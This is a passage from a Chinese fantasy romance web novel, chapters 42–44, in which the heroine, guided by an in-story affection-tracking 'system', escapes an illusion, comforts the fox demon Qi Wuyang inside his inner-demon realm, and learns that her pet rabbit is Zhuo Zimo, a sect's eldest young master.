祁无恙垂眸看了看小步朝自己凑近的少女,将眉毛轻轻皱了皱∶“怎么了?” “我要离你近一点,”徐颂禾几乎挨着他走,说道∶“你那么厉害,跟着你肯定没事。” 像是怕他推开自己,她不动声色地垂下手,勾了勾他的手指。 “我不管,你和我拉勾了,不许丢下我,骗人是小狗啊。” “……” 倒不是她想强人所难,只是他看上去那么闲,而且现在阿生被人抓走和他也脱不了干系,为了赔罪,他本来就应该和她一起的。 徐颂禾自己把自己说服通了。 脚下的路越来越泥泞,不知为何,方才从流云镇离开时,天色明明才刚大亮,走出来不到一个时辰,周围的天竟就暗了下来。 婆婆忽然停下来,笑眯眯地看着他们∶“走得这么久,都渴了吧?那附近有条河,姑娘,你随我去打壶水来?” 顺着她所指的方向,那条河并不远,透过稀疏的树丛,能清晰地看见河岸。 徐颂禾盘算着她就算出了事,这位……公子应当也能及时赶过去,于是点点头,随后又担心地道∶“婆婆,我们在这耽误这么久,他们不会把阿生怎么样吧?” “他们要是想把他怎么样,你现在赶过去也没用,要是不想,你再耽误上三天两夜也无妨。” 好像很有道理,徐颂禾刚答应下来,他忽地笑了笑,幽幽地说∶“那你可要把它看好了,万一不小心掉到河里淹死,我不会帮你打捞尸体。” 她把兔子摘下来捧给他∶“那你帮我看着?” “太脏了。” “……那你要干嘛?” 他的目光从她因愠怒而略略泛红的脸上掠过,说∶“还是我去。” 话音方落,未等她反应,他已经先一步离开,见无人跟来,回首笑问∶“不走吗?” 老婆婆神色似乎略有不虞,但最终还是强笑着走上前,闷声道∶“我老太婆走不快了,这位公子能答应一起,是最好不过了。” 祁无恙没接她的话,甚至根本没看她一眼。 “我一时半会回不来,带着它们,你去哪都不会有事。” 眼前有什么东西闪过,紧接着一沓符纸拍了下来,不偏不倚砸在她身前。 怀里的兔子吃痛叫了一声,连爬带滚地掉出她的手心,再想跳回去时,又是一片落叶快速飞来,擦着它前腿掠过,白色的绒毛下立刻有血渗出来。 “不许靠近她,”祁无恙指尖捻着一片树叶,眸中冷意分明∶“否则下一箭,我无法保证会落在哪。” 以为他这句话是对自己说的,徐颂禾手里捧着厚厚一沓符纸,大脑还未反应过来。 这个人不喜欢兔子也不用这样吧?还说什么一靠近就要杀了她,简直太不讲理了! 他们二人走远后,她的视线穿过树木间隙,落在那红衣少年的背影上,后知后觉地明白过来——他刚才的意思,是不是让自己先走呢? 脑子里瞬间闪过许多种猜测,他是不是不想帮她了?又或者,他其实和昨天那些人是一伙的,现在故意把婆婆叫走,就是不想让她给自己带路,好让阿生永远都不被找到。 如果真是这样,那她可不能如了他的愿! 徐颂禾越想越气,自己一个劲地往前走,旁边小白不敢再跳上来,只一瘸一拐地跟在她脚边。 她弯腰把它抱起来,心里其实也怂,但又不忍心看它这样∶“怕他干什么?咱们走。” * “小公子,咱们是来打水的,你怎么站着不动?” 老婆婆一路心不在焉的,眼下转过头,看见原来那块地上已经没了人影,更是焦急∶“还是快一些吧,那位姑娘怕是要等急了。” “她已经走了,你没看见么?”祁无恙抱臂斜倚在树干上,好整以暇地看着她,蓦地笑出声∶“如果不是我跟着,恐怕她早就死在你手里了吧?” 老婆婆脸色一变,也笑着说∶“公子何意?我老了,听不懂你们说的……” “这里只有我,你不用装。”他笑意骤敛,弹指间,那枚树叶已裹着浓浓杀意疾向她面门飞去。 老婆婆眼疾手快地伸出两指,欲将其拦下,未料到它竟在咫尺之间悬停,随后便如一片普通叶子,飘飘然落到了地上。 她瞳孔微微一震,眼中怒气升起。 少年不紧不慢地擦拭着指尖沾上的灰尘,抬眸扫向她∶“老人家,方才不急着躲,却和它硬碰硬,是想死吗?” “你试探我?” 她沉沉出声,声音已经褪去苍老,让人联想出一个中年男子的模样。 祁无恙淡淡一笑∶“你这么想杀她灭口,是怕那日盗窃灵丹一事被泄露,我说对了?” 对方眼里划过一丝诧异∶“是你?你居然没死。” 他善意地提醒道∶“只可惜,人没抓到,你偷来的灵丹也是假的。” 此言一出,对方神色骤变阴狠,遍布在脸上的皱纹迅速扭曲,直至全部褪去。 什么老婆婆都已经不复存在,他换上了和那日的抬棺人一模一样的扁平脸。 “那东西怎么会在你身体里?”他握着一截树枝当剑使,尖锐的那头指向少年,声音冷冽∶“把它交出来。” 见对方只是冷眼瞧着自己,一副看傻子的神情,他冷哼一声,道∶“我对付不了你,难道还没有别的办法吗?方圆百里都有我布下的傀儡,只要我一声令下,你以为她还能跑得了?” 仿佛听到了什么笑话,祁无恙从容不迫地把玩着新摘来的树叶,也不抬眼看他一看∶“一个无关紧要的人,杀就杀了,你以为有了她就能威胁我?” 此人灵力不在自己之下,以为抓到了软肋,却没想到他薄情寡义,竟能对朋友的生死置之不理。 扁平脸眼色陡变,倏地纵身跃出,一道凛冽的锋芒裹挟着雾气朝他刺去。 祁无恙抬手挡下迎面袭来的花粉,顺势将手中落叶掷出,对方却在触碰到那道灵力前调转方向,径直朝反方向飞离。 他沉下脸,指尖泛起一抹素白,缕缕丝线射向半空,作势要把那人缠住。 “祁无恙……” 身后蓦地传来少女的叫唤,他收回手,最后望了一眼天边那逐渐消失不见的黑点,回头看向来人。 徐颂禾气喘吁吁地奔到他面前,额前碎发上挂着一颗水珠。 她抬起眼睛看着他,嗔怪道∶“你怎么那么慢呀?我都在前面等了你好久了。” “等我?”他轻挑眉梢,视线从她身上扫过,问道∶“你的兔子呢?” “你不是不喜欢吗?我就把它放走了呗。” 祁无恙抬起她下颌,端详着这张脸∶“现在恢复记忆了?” “……是难对付了一点,可也怪不得我呀,”她拍开他的手,理直气壮地说∶“我灵力又不高,没抵抗住不是很正常吗?” 他微微一顿,眼里的笑意骤然化开∶“你说什么?” 少女毫无察觉地往他怀里靠拢,柔软的发顶蹭过他下颌∶“我们现在去哪儿呢?你要带我回家吗?” 周身瞬间被清甜的香气包围,和那一夜,簌簌落下的花瓣的味道一模一样。 那一夜,她也是这样毫无征兆地凑到他面前,踮起脚触碰他,只是那时隔了一只手心。 少年淡淡垂眸,目光落在她嫣红的唇瓣上。 如果没有那只手呢? 会是什么感觉? 这个念头一闪即逝,他按着肩膀把人推远,眼中杀意腾升∶“别靠近我。” “你看出来了?”她格格地笑起来,道∶“你还敢说我是无关紧要的人吗?你明明就很在乎我!” 祁无恙没有再容忍她说下去,青绿的树叶脱手而出,径直划向对方脖颈。 他视线穿过在原地化开的一团粉雾,冷眼觑着不远处朝他咧开嘴笑的黑衣人,目光渐渐黑了下去。 “你试图骗过我,是想要我放过她,可没想到你的本能反应出卖了你自己,”对方一脸得逞姿态,恶狠狠地笑起来∶“中了我的幻境后,所能看见的就是你最想见的,怎么,现在还不想承认吗?你就是怕她死。” 第42章 绒毛耳朵 月光洒在空荡荡的山林间, 树影不断晃动,像生了无数触手的妖怪。 一人一兔从地上布满的荆条中来回穿梭,徐颂禾抱紧了怀里的兔子壮胆, 战战兢兢地喊了一声∶“祁、祁无恙, 你听得见吗?” 真是的, 这蛊早不来晚不来,偏t偏在那个时候生效了,现在天这么黑, 中蛊时候的记忆也不太清晰了, 让她怎么走回去啊? “别、别怕啊小白, 我会保护你的,”徐颂禾几乎把手指都伸进软乎乎的兔毛里, 自我安慰道∶“好歹还有这么多符纸,就算有坏人来了也不怕。” 话音未落, 脚下忽然一绊,她跌坐在地, 心里立刻一惊,慌慌张张地放眼去看。只见月光映照下, 一截枯木卧在地上, 四下里仍是一片寂静,她甚至能清楚地听见自己快得吓人的心跳声。 惊魂未定之际,衣角倏地被轻轻一扯, 她麻木地低下头, 看见小白正在身旁跳来跳去, 白色的牙齿在她轻薄的衣料上留下一个牙印。 “怎、怎么了?” 徐颂禾结结巴巴地开口,按在地上的手掌被小白用身体用力拱着,她终于低下头, 声音颤抖∶“你是要我离开这里吗?” 小白往前跑了几步,像是在为她引领方向。 通过这么一路的相处,徐颂禾坚信这兔子一定是有灵性的,于是她撑着地站起身,跌跌撞撞地跟着它走。 方才摔那一下不慎划伤了腿,她只好一瘸一拐地缓慢前行,“小白,你跑慢一些——前面是不是有人?” 月影不断穿梭在树丛间,依稀能辨认出不远处有道人影。 小白忽地停了一下,随后朝前跑了几步,又加快速度折返回来咬住她的衣摆。 “你是想说前面危险吗?” 它松开牙齿,点了点头。 她深吸口气,本想让它先跑,可注意到它的姿势,这才朦朦胧胧地回想起不久前它的腿刚被祁无恙给弄伤了。 好吧,看来今天他们只能死同穴了。 徐颂禾没有任何犹豫地抱起它,黏黏的血液糊在腿上受伤的地方,伴随着阵阵凉风,那疼痛便如细密的针尖,一下下戳刺着她的神经,但眼下求生的欲望使她暂时忘却了一切。 远远的,一棵枝干粗大的树出现在眼前,若隐若现的,趁着身后的人似乎和自己拉开一段距离,她犹如看见了救命稻草般,想躲到后面避上一避。可不知是不是错觉,快奔到那时,这颗“稻草”忽然间动了一下。 徐颂禾刹住脚,看清前方的状况后,一种名为恐惧的密云霎时笼罩了她。 那根本不是什么大树,而是一排人围起来的“墙”! 她这是自投罗网来了。 徐颂禾转身想跑,可后面那道黑漆漆的身影不紧不慢地追来了。 幸好还有符纸,她也不是一无所……嗯?等等,手里怎么空了? 徐颂禾绝望地低下头,那一沓符纸竟连一张也不剩了。 是刚才被绊倒时弄丢的吗? “大哥,你们放过我行不行?我、我就是一个路过的,我什么也不知道呀……” 她连下跪求饶这样卑微的办法都想到了,可对方仍是没有一丝停留地走上前来。 那张脸瘦得简直不像正常人,一双眼窝凹陷下去,里面白色居多,空荡荡的没有任何神采。 她想起在阿生那儿听到的一个词——傀儡。现在这些,会不会根本不是活人? 那她方才岂不是弹琴给聋子听呢! 但傀儡可不会容她思考,他们身体虽看上去僵硬,行动却极快。一道掌风蓦地疾速拍下,徐颂禾急忙想躲,可双手却被牢牢控制住,只能眼睁睁看着那只手掌朝自己飞来。 然而,一切发生得太快,她甚至还没来得及感受到死亡的极大恐惧,只听见砰的一声,那只朝她扬起手的傀儡骤然间飞了出去。 手上的钳制瞬间消失,徐颂禾艰难地抬起头,满眼错愕。 月光下,一青年背对而立,手执长剑,光风霁月,剑刃上还沾有傀儡的血。 他微微侧过脸,沉声问∶“有受伤吗?” 她隔了两秒才反应过来,赶紧摇头。 黑暗中只见几道青光一闪,几乎是从她头顶擦过,随后径直射向身后。 噗呲声一时不绝于耳,徐颂禾怔愣半晌,心脏砰砰直跳,正想回头去看时,眼前却忽地落下了一道阴影。 “已经没事了,”少年收回手,专注地看着她,声音温柔∶“场面血腥,姑娘不必回头。” 她眼睫轻颤,一双黑眸动了动,劫后余生的庆幸过去后,更多是对一个来历不明的少年竟愿意出手相救的惊诧。 “多、多谢公子,”注意到他手上有血,她忙道∶“公子,我知道附近有座小镇,你快些赶去处理伤口……” 不待她说完,他的眼神暗了暗,声音中透出几分失落∶“你不认识我吗?” 没料到他会突然问这么一句,徐颂禾愣了一下,大着胆子开始细细端详他。 非要说眼熟的话,此人眉眼倒和流云宗那位纨绔公子有些相像,只是更多了几分英气。 可是流云宗的人怎么可能救她呢? 她小心翼翼地问∶“我们见过吗?” 话刚出口,他蓦地身子一歪,像被抽离了骨头似的就要倒下。 “哎——” 徐颂禾本能地伸出手想扶住他,可对方的身形却如青烟般消散了,她只觉怀里一沉,低头看去,一只沾了血的兔子正蜷缩在她的臂弯中。 脑子“嗡”地一响,她坐在原地,呆呆地看着怀中一动不动的兔子。 小白……就是刚才救她的少年? 童话故事里的情节真让她给碰见了啊? 她颤巍巍地伸出手摸了它一把,所幸还有心跳。 不知道这附近还会不会有别的危险,徐颂禾没敢耽误太久,抱起小白便往山下走。 过了不知多久,周围仍是暗沉沉的,眼前却突然浮现出一抹亮光,确认站在那屋子前的是个会笑会招手的活人后,她加紧脚步走了过去。 “恭喜宿主,好感度上升二十,目前好感度为九十。” 什么?怎么就这么多了? 徐颂禾心生疑惑,但现在也没功夫想这些,她走到那人跟前刚想开口要些水喂给兔子,却在见到对方容貌时骤然愣住。 “……妈妈?” 那女人微笑着点头,应了一声∶“我的乖女儿,快回家来吃饭吧。” 她简直不敢相信自己的眼睛,这时,周围景象瞬间变换,什么树林山坡如潮水般从身后褪去,取而代之的是一座座高楼。 系统的声音疯狂在脑中回响∶“恭喜宿主,好感度已满,攻略完成。恭喜宿主,恭喜……” “回家”这两个字对她来说有着太大的诱惑,她下意识往前迈出一步,可手臂上传来一阵细微的疼痛,小白挣扎着仰头在她手上咬了一口。 不对,她不是妈妈,妈妈不会这样说话,这里也不是家。 她后退一步,撇过头不去对面和自己妈妈长得一模一样的人,伸手往腰间一摸,随便抓了张东西便用力甩出去。 刹那间,系统的恭喜声像被掐断了信号,戛然而止。 周围汽车的鸣笛、高楼的轮廓、母亲温柔的笑容……所有景象如同被水浸湿的画卷,在她甩出符纸的瞬间迅速模糊、扭曲、溶解。 等一等,符纸……不是已经丢了吗? 徐颂禾低头一看,腰间那块地方被填得鼓鼓囊囊的,数了一下,一张都没少。 她茫然四顾,一条小河就这般跳入眼帘。 这不是祁无恙和那老婆婆一起去的河边吗? 眼皮猛地一跳——她一直都停留在原地,根本没走远! 她结结实实打了个寒噤,又想到些什么,赶紧查看小白的伤势,发现它除了脚上那道口子外,再没有别的伤了。 徐颂禾松了口气,果然刚才发生的一切都是幻觉,什么傀儡都是假的,就不该自己吓自己,小白怎么可能是人呢? “……祁无恙?” 她向那条河边折返回去,却连一个人影也没见到。 “奇怪,人去哪了——哎!” 徐颂禾踩过地上的杂草,在岸上张望了片刻,正欲再开口时,忽地脚下一沉,她低下头,只来得及看见一节藤蔓牢牢缠住了脚踝,紧接着整个人猝不及防被往前一带,失去了重心。 * 冰冷的河水裹挟着泥沙,瞬间淹没了口鼻,却丝毫没有即将溺亡的窒息感。 徐颂禾挣扎了一下,却被那藤蔓更狠地拽向深处,随后身体猛地穿过一道类似屏障的东西。 下坠感骤然停止,她摔落在坚硬冰冷的地面上,周身竟滴水未沾。 “咳咳……” 徐颂禾坐起身,确认自己还活着后,惊魂未定地看向周遭,没有再看见那道白色身影,她多少松了口气。 方才知道自己没法挣脱了,她便奋力把小白往远处抛,现在看来它终于没和她一起陷入险境,只是不知眼下怎么样了。 周围的景象……怎么觉得有些熟悉?好像在哪t见过。 她在四处转了一圈,除了几间空无一人的房子和叶子泛黄的枯树外,再没别的东西了,暂时也没发现什么危险。 危险是没有了,只是要怎么出去呢?难道要她困死在这里吗? 这里没有一点风声,或者说,除了她自己的脚步声外,静得没有一丝声响。只有一层淡淡月光笼罩在大地上,可是她不是掉进河里了吗?河底怎么会有月光? 徐颂禾几乎要怀疑是不是经过那一番拉扯后,她的耳朵已经出问题了,又或者,她还处在幻觉里。 否定这一想法的,是被风送来的一阵极轻微的喘息声。 她身体一僵,倏地转过身,目光自然而然地锁定在一间最不起眼、几乎与阴影融为一体的低矮房屋上。 声音似乎就是从这里传出来的。 她这辈子都没见过那么小的房子,貌似只比她上一次躺过的棺材要大上一些。 徐颂禾踌躇了一下,想到这个鬼地方的活物恐怕就只有他们两个了,管他是人是鬼,先去看看再说。 那些符纸在坠落下来时便已不知被卷到了哪里,她小心翼翼走近了,才发觉这座屋子居然没有窗户。 “那个……有人吗?” 她站在离门口几步远的地方,轻轻唤了一声,无人应答。 算了,一直困在这早晚也会死,倒不如死个明白。 徐颂禾深吸口气,伸出手小心地推了一下虚掩着的木门。 她原本只想弄出一条缝隙来看看情况,可没想到这门太破,只轻轻一推,竟就顺势往后倒去,银辉穿透她的身体,因这一举动,照亮了屋内的人。 少年抱膝倚靠墙面,听见动静,他抬起一双黑润的眼眸,头上两只绒毛耳朵动了动。 她的呼吸轻轻一滞。 “……祁无恙?” 他的样子又和之前不一样了,但她凭直觉认出,这就是他。 方才脑子里闪过的危险画面统统抛之脑后,徐颂禾跨进门槛,小心翼翼地端详着他。 “你……你怎么了?” 第43章 你给我抱一抱嘛 不知怎么, 见到他之后,外头的风开始呼呼作响,将门扉吹得摇摇晃晃。 少年仿佛不认识她一般, 涣散的目光却在她进来的一刹那重新凝聚。他犹如一只受惊的小狐狸, 只有在见到光亮之后, 才敢从臂弯里抬起脑袋,两只狐耳戒备地竖起,黑曜石般的眼眸紧紧盯着闯入者。 察觉到他周身腾空而起的杀意, 徐颂禾顿了一下, 小心翼翼地走上前, 不敢惊扰到他,声音放得很轻∶“祁无恙, 是我,我不会伤害你, 你不需要这样。” 他没有任何反应,只是停留在她身上的目光一瞬不瞬的, 像是不想她靠近,又生怕她会走。 徐颂禾站在离他一步之遥的地方, 垂下一双安静的眸子, 忽然间脑海中闪过某些画面,心脏也跟着一揪。 他是不是从前被关在井底太久,现在产生心理阴影了? 仔细想想, 他还从没向人展示过如此脆弱的一面, 之前就算是受伤吐血, 对付那帮坏人也还是绰绰有余,哪像现在……被一方小小的黑屋困锁心神。 “触发隐藏剧情,宿主现在处于祁无恙的心魔中, 若能帮他战胜心魔,好感度还可上升一大截。” 徐颂禾微微一惊,所以……她并不是无缘无故来到这里,而是他把她拉下来的? “你走吧。” 他沉沉出声,徐颂禾收回思绪,总觉得他还有话要说,于是安安静静等着,可他却又垂下脑袋,隔了好半晌也只有这三个字。 在他成为世人闻风丧胆的九尾狐妖之前,曾被下过一个诅咒。 诅咒无法可解,总有一日,他会灵力枯竭,最终暴毙而亡。而不使用原来的身体,便是唯一能让他死缓的办法。 尽管如此,诅咒仍会在他灵力耗尽的时刻生效,他不是没有受过伤,也并非头一回把自己关进这方内心深处最抗拒的牢笼里。 只是为何……这一次,他会感到如此难捱? 投射在面前的影子迟迟未离去,少年淡淡抬眸,唇角弯起一抹弧度∶“还不走,是笃定不会死在这里吗?我杀过的人,多你一个也不算多。” 要是刚认识的时候,她听见这话或许会害怕,但现在…… 徐颂禾平静地迎接他的视线,斟酌着该说些什么。 唉,这是你的心魔,我就是想走也走不了呀。 她暗暗叹息,随后撩起裙摆蹲下身,在他错愕的目光下,伸出手轻轻抱了他一下。 之前也不是没有离他这么近过,只是这一回,对方身子似乎僵了一下,连呼吸也听不见了。 不知道是不是心魔的原因,他的现在身体变得比任何一次都要小了,两只耳朵摇摇晃晃,拥抱时还从她脸侧扫过,痒痒的。 他瞳孔微微一缩∶“你……” “我不知道要怎么帮你,你不愿意告诉我,我也没有办法,”徐颂禾仰起脸,在他那两只耳朵上摸了摸∶“这样的话,如果现在有人追杀,我也只能和你一起死了。 “只是你别害怕,从前那些事……都过去了,现在我会陪着你的。” 她说完这些话,自然而然地地转过头,不知是不是光线问题,他的脸竟有些泛红。 “这里才是最安全的,”良久,他终于开口,目光里带着未散的杀意和警惕,“如果我这副样子被其他人看见,他们一定会杀我。而你是唯一一个真正到来的人,不想杀我吗?” “我杀你干嘛啊?”徐颂禾觉得这个人动不动就求死的毛病是时候该改改了,她眨了眨眼睛,说道∶“我想和你一起活下去呀,所以你现在可不可以振作起来,我们先从这里出去……” 一语未完,她忽地被一股不容抗拒的力道扣住脑袋,一抬眸,措不及防撞见了少年黑沉沉的目光,那双纤细如针的眼瞳里倒映出她的模样。 而她的一只手还停留在那只狐耳朵上,另一只手按住他的腿,身体微微前倾,就保持着这么个怪异的姿势和他对视着。 “……” 他似乎也极不习惯耳朵被人随意触摸,沉着声问∶“你想杀我?” “不想,”徐颂禾不知道他对自己下了什么咒,只觉得身体已经不受自己控制了,脱口而出道∶“我只是觉得……你的耳朵很可爱,你要是不喜欢,我就不碰它了。” 漫长的沉默过后,他松开了手,微微一笑∶“想的不错,就算不留下来,你也只有死路一条。” 徐颂禾连爬带滚地站起身,又摸索着坐到他身旁,这地方实在太小,两个人并排坐着,她的肩膀已经抵到了冰凉的墙壁上。 外头的风还在呼呼吹着,她哆嗦了一下,结结巴巴地说∶“你要什么时候才能出去呀?我快要冷……冷死了。” 她穿进来时正值冬日,现在已经过去好几个月,按理说不应该再感觉到冷,可这地方邪门得紧,风里像生了刀子一样,刮在脸上生疼。 徐颂禾转过脸,用求助的目光看向身旁的人∶“你有没有办法让风变得小一点?” 他却不答话,只是笑了一笑,俯身慢慢靠近她∶“你方才说的‘从前那些事’,是哪些事?” 坏了,刚刚一着急不会全说漏嘴了吧? “我……” “你是自己告诉我,还是希望我用刚才的办法。” “你、你给我一点时间想想,”徐颂禾紧急按下他的手,脑子飞速运转着,良久,试探着开口道∶“如果我说,是我做了一个梦,就像我们刚见面的时候,他告诉我你会是我的未来夫君那样,把和你有关的一切都说出来了,你会信吗?” 她说完就闭上了嘴,忐忑地等待着他的反应。 然而,他没说信,也没说不信,更没再提要杀她之类的话,而是捂住胸口,一摊血渍蓦地溅到地上。 “你你……你怎么了?”徐颂禾吓了一跳,手忙脚乱地在他背上轻拍,“你就算不相信,也不用吐血吧?” 她说的有那么离谱吗? 不知为何,她感到手里碰到的东西越来越软,最后竟变成了红色的软毛。 狐狸用尾巴把自己捆绑起来,他看上去有些虚弱,眼下又呈现出一副防御的姿态。 这是……他的真身吗? 可他不是说,他原来的身体已经被…… 徐颂禾看得呆了,垂头狠狠掐了自己一把,确认不是在幻境之后,她颤抖着声音问∶“系统,他、他为什么会变成这样?不会有什么事吧?” “宿主放心,他在不久前受了比较重的伤,眼下诅咒又正好发作,一时消耗过度了,变成灵体的形态只是为了减轻痛苦。” 系统把原书里t和诅咒有关的设定简短地解释了一遍,随后又道∶“灵体和真身并不一样,灵体是寄存在灵丹内,当他感受到极大痛苦时,就会自动出现保护他。” 极大……痛苦?徐颂禾怔了一下,突然觉得呼吸都不太顺畅∶“那他是得受了多重的伤?” “诅咒发作时都会伴随彻骨的疼痛,只不过先前他没有灵丹,只能硬扛,现在灵丹找回来了,变成这样对他来说是件好事。” 它说完,趁着她愣神的间隙,又额外提醒了一句∶“狐狸形态的祁无恙会缺失一些记忆,性格或许也有些出入,请宿主小心不要踩雷哦。” 难怪那时他会把真身给封印起来……这诅咒,会是那些宗门下的吗? 这些人一口一个“妖孽”的喊他,依她看来,他们才是最大的反派呢! 徐颂禾眨了下干涩的眼睛,几秒钟后,她撑起身子,把那只正缓缓往墙角里缩的狐狸捞进怀里,带着他走出了那间狭小的屋子。 利爪在她手上挠了一下,却并没用力将其抓破,更像是一个警告。 徐颂禾在他身上拍了拍∶“我冷,你给我抱一抱嘛。” 她对这种毛茸茸的动物根本没有抵抗力,特别是这家伙还是自己的攻略对象,多抱一会,等他变回来之后,说不定好感度又能再涨一点。 周围的景象忽地扭曲起来,随后,她又看见了那片河,又回到了原来的地方。 系统的声音紧随其后∶“恭喜宿主,祁无恙在诅咒发作时会为了自保而建立‘海市蜃楼’,也就是他的心魔,现在心魔破除,说明他已经信任你,觉得能获得安全感了……奇怪,就是好感度还是一动不动的。” 不管怎么样,总归是件好事了。至于好感度……或许他现在不太懂人的情感,没准等变回来之后就蹭蹭上涨了呢! 这时天已经黑了,月亮像灯笼似的挂在天上。徐颂禾揉了揉额头,这人现在不会说话,夜黑风高的,该让她去哪? 再三思索,她决定先折回离这最近的流云镇去,毕竟这荒郊野岭的,万一又碰上点什么,她可应付不来。 估摸着这地方除了流云宗的人外,普通镇民应当也不会认出自己,徐颂禾随意进了一家客栈,躺在榻上时,她觉得自己的骨头都快要散架了。 谁能告诉她,中蛊那几天到底做了些什么?为什么会累成这样? “你饿不饿呀?” 望了眼窗边蜷缩成一团的狐狸,她弯下腰,掰了一小块方才客栈掌柜给的馒头,放到他嘴边。 他从围成一圈的尾巴里探出一个脑袋,旋即很快又埋了回去。 徐颂禾盯着他看了一会,“噗嗤”一下笑出了声。 这一回,那只狐狸又抬起头来,那双总是漫不经心的眼睛,此刻像是蒙了一层雾,湿漉漉的,看上去还有些可怜。 “等你变回去了,可一定要记得这些事哦,不许断片。” 第44章 稀里糊涂被求婚了 窗户吱呀吱呀叫着, 她身上没什么钱,只能要了最便宜的一间房,进来才发现里面居然没有被子。 虽说现在天气已经转热, 但从小到大的习惯让她睡觉时必须得盖住肚子。半梦半醒间, 徐颂禾转过身, 把狐狸往怀里搂了搂,又拉过它的毛绒尾巴盖在了自己身上。 睡得迷迷糊糊,她心想——虽然说男女授受不亲, 但他现在就是一只是狐狸, 抱一抱应该也没有什么。 入夜, 脸上忽然有些痒痒的,她伸手摸到几根毛, 喃喃着道∶“不要闹了,快点睡觉……” 话音未落, 手腕忽地一痛,她一个激灵坐起来, 看见那里已经红了一片,“你干嘛呢?” 狐狸不答她的话, 只是站在桌案上望向窗外, 浑身的毛微微炸起,一双眸子在黑暗中隐隐泛出幽光,死死盯着屋外。 “怎么啦?” 徐颂禾揉了揉眼睛, 点亮蜡烛, 踩着鞋子走到窗边, 伸手把它的毛给顺下来。 她朝窗外瞥去一眼,蓦地一惊。 只见客栈门前,乌泱泱立着一大群人, 为首的人身着白袍,手执长剑,正同掌柜的不知在交谈些什么。 片刻后,掌柜的转过身,笑吟吟地伸手往他们的窗口指了指。 徐颂禾头皮瞬间发麻,她迅速熄灭蜡烛,抱起狐狸,打开房门,悄悄从后院溜了出去。 这间屋子虽然简陋,却被单独安置在外侧,离别的客房较远,眼下也算因祸得福了。 她把狐狸放下来,说道∶“你跑得比我快得多,他们要抓的是你,你快跑,随便去哪都行。” 狐狸抬起头,一双绿幽幽的眼眸注视着她。 她想了一下,不忘叮嘱道∶“你变回去之后,一定要记得来救我啊。” “不用跑了。” 身后传来一声狞笑,徐颂禾浑身血液在这一瞬间骤然僵住,她抿紧唇,脸色褪得雪白。 客栈掌柜笑眯眯地伸长手臂,道∶“大人,他们就在这。” 徐颂禾还想跑,可一支长枪忽然伸过来抵在她的脖颈前,执武器的人另一只手抓住狐狸耳朵,企图把他抓起来。 可就在碰到的那一刹,狐狸猛地低下头,在他手上狠狠咬了一口。 “你……” 那人睁圆了眼,扬手便要刺下来。 “别碰他!”几乎是用尽了全身力气,徐颂禾推开他,把狐狸护在怀里,双手还发着抖,连呼吸也变得急促,愤愤地道∶“这是我的狐狸,你不许碰!” 倏地,一枚银针擦着脸侧飞过,径直打在那人手上,他吃痛一喊,那支威胁他们的长枪立刻应声落地。 他似乎还想发火,看清走来的人后,只得悻悻缩回手,恭恭敬敬行了一礼∶“公子,我方才见他们往这边跑,心急想替您抓住他们,所以……” “够了,”姗姗来迟的人只淡漠地扫了他一眼,冷声道∶“退下。” 那人还想再说,却被一记眼刀剜中,只好垂首应是,跟随客栈掌柜离开。 被唤作公子的人往前走近,夜色中辨不清他的脸,只能依稀看见他腰间别着个一闪一闪的东西,好像是剑刃。 徐颂禾抱着狐狸往后缩了缩,充满戒备地看着他∶“你……你要做什么?” 对方微微一顿,在距离她几步远的地方停了下来,目光中满是失落∶“我们已经见过一面了,你还是不记得我吗?” 她听不懂这些乱七八糟的,也不知道自己该不该认识他,只知道这个人现在已经威胁到了他们的生命安全,可不能被他所蛊惑了。 “你站得太近了,我看不清,”她挥挥手,说道∶“你退到那里去,那里有光,我才能看见你的样子。” 那人似乎犹豫了一下,最终依着她的话,挪到了月光照到的地方。 估摸着这个距离应该够了,徐颂禾毫不犹豫地站起来,转身就跑。 本以为来的只有他一个,可未料到暗处还埋伏着几人,她被逼着往后退,最后撞上了一个胸膛。 这回离得很近,徐颂禾看清他的脸了。 这张脸……为什么和幻境里的一模一样?那不是幻觉吗? “阿禾,不要想着跑了,”他笑了笑,用温柔的声音劝道∶“和我一起回去,我能保证以后都让你过好日子。” 徐颂禾一愣,顿时觉得不对劲∶“你是谁?为什么会知道我的名字?” 不出意外的话,这个世界,她只对祁无恙提起过自己的名字。 他淡淡地说∶“你不认识我没关系,但你应该记得,那只险些被冻死,却因为你得以从雪地里活下来,又被你保护了一路的兔子。” 方才一闪而过的猜测在此刻得到了应验,徐颂禾只觉得脑子里“嗡”的一声,整个世界都变得不真实起来。她后退一步,重新审视着面前这个人,连声音都变了调∶“你你……你是……小白?” “是我。” “所以那不是幻觉,”她的眼睛亮了一下∶“你真的是小白?” “阿禾,我没有必要骗你,”他又走近一步,目光扫向她怀里,笑道∶“把它交给我,好吗?” 徐颂禾立马把狐狸护到身后,刚才燃起那一点期待瞬间熄灭∶“你、你要做什么?这是我养的狐狸,不能给你。” 他挑了下眉,似是有些惊讶∶“你的?他不是……” 她警觉地看着他∶“就是一只普通狐狸,你要它干什么?” “他呢?” “他?你说的是祁无恙?”为了不让他看出破绽,徐颂禾声泪俱下地说∶“你是不知道,那家伙就是个负心汉!t我好心好意返回去救他,他倒好,转眼就要把我杀了!” 谎话是张口就来,管他信不信的,先扯了再说吧! 一旁的祁无恙∶“……” 卓子墨微微一惊,伸手想为她擦拭眼泪,到了半截又缩了回来,只沉声道∶“那妖孽本就不是善茬。不过,你何时养的狐狸?” “你走之后,”徐颂禾思忖片刻,理直气壮道∶“我就喜欢毛茸茸的动物,路上碰到了就捡来养了,怎么,你不许啊?” 没想到跟了他们一路的居然是流云宗的人,听旁人说的话,他应当还是个大人物。果不其然,下一瞬,系统的声音在脑海中响起∶“宿主,此人是流云宗大少主,卓子墨。” 原来是那位纨绔公子的哥哥,见他沉默下来,徐颂禾灵机一动,说道∶“堂堂大少主,总不会跟我一个弱女子过不去吧?” 卓子墨一时语塞,目光却仍死死锁着那只狐狸,放缓了语气∶“姑娘是在下的救命恩人,不如随我到流云宗去,就当给我一个报恩的机会。” “你的意思是……要我去见一群从开局就一直通缉我的人?”徐颂禾不可思议地反问,“你要是真想报恩,就放我们走吧。” 他还是小白的时候,她的确很喜欢它,即便他现在变成了人,还是流云宗的人,她也并没有恐惧或是厌恶。只是要她完全接纳,或许一时还有些难。 卓子墨叹了口气,神情似乎有些哀伤∶“我知道,先前是我弟弟无礼,我在此替他向姑娘赔不是了。只是……” 她眼皮跳了跳,等着他说下去。 “只是,你能否……不要讨厌我?” 徐颂禾没料到他会这么说,顿了一下才摇了摇头∶“我没有讨厌你,但你大晚上的,带着这么多人来抓我,是个人都会害怕吧?” 讨厌倒是远远不至于的,只不过她还是更喜欢能肆无忌惮摸兔毛的日子。 